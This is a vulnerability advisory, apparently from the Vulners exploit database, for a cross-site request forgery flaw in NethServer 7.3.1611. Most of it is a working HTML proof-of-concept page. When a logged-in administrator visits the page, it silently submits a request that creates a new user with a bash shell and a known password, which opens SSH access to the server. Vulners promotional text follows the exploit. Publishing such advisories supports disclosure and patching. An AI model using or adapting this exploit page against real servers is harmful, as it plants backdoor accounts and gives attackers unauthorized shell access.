<!--
NethServer 7.3.1611 (create.json) CSRF Create User And Enable SSH Access
Vendor: NethServer.org
Product web page: https://www.nethserver.org
Affected version: 7.3.1611-u1-x86_64
Summary: NethServer is an operating system for the Linux
enthusiast, designed for small offices and medium enterprises.
It's simple, secure and flexible.
Desc: The application interface allows users to perform certain
actions via HTTP requests without performing any validity checks
to verify the requests. This can be exploited to perform certain
actions with administrative privileges if a logged-in user visits
a malicious web site.
Tested on: Kernel 3.10.0.-514.el7.x86_64 on an x86_64
CentOS Linux 7.3.1611 (Core)
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2017-5433
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5433.php
16.08.2017
--><html><body><p>HTML Decoded PoC:
</p>
<script>history.pushState('', '', '/')</script>
<form action="https://172.19.0.195:980/en-US/Account/User/create.json" method="POST">
<input name="Account[User][create][username]" type="hidden" value="Blabla"/>
<input name="Account[User][create][gecos]" type="hidden" value="Test1"/>
<input name="Account[User][create][groups]" type="hidden" value=""/>
<input name="Account[User][create][groups][1]" type="hidden" value="[email protected]"/>
<input name="Account[User][create][expires]" type="hidden" value="no"/>
<input name="Account[User][create][shell]" type="hidden" value="/usr/libexec/openssh/sftp-server"/>
<input name="Account[User][create][shell]" type="hidden" value="/bin/bash"/>
<input name="Account[User][create][setPassword]" type="hidden" value="disabled"/>
<input name="Account[User][create][setPassword]" type="hidden" value="enabled"/>
<input name="Account[User][create][newPassword]" type="hidden" value="gi3fme$heLL!"/>
<input name="Account[User][create][confirmNewPassword]" type="hidden" value="gi3fme$heLL!"/>
<input name="Account[User][create][Submit]" type="hidden" value="Submit"/>
<input type="submit" value="Submit request"/>
</form>
</body></html>Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation